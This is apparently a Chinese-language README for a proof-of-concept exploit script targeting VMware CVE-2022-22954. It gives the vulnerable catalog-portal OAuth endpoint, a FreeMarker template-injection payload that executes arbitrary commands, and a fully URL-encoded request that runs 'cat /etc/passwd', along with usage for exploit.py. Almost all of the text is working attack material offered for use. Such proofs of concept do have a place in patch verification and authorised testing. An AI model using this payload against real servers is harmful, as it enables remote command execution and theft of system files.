用于利用 VMware CVE-2022-22954 的概念验证
这个简单的 Python 脚本向指定的 URL 发送 GET 请求,附加 /catalog-portal/ui/oauth/verify?error=&deviceUdid=,然后跟上该字符串的 URL 编码版本:
${"freemarker.template.utility.Execute"?new()("command")}
例如,用于执行 "cat /etc/passwd" 的输出如下:
{host}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
python3 exploit.py <URL>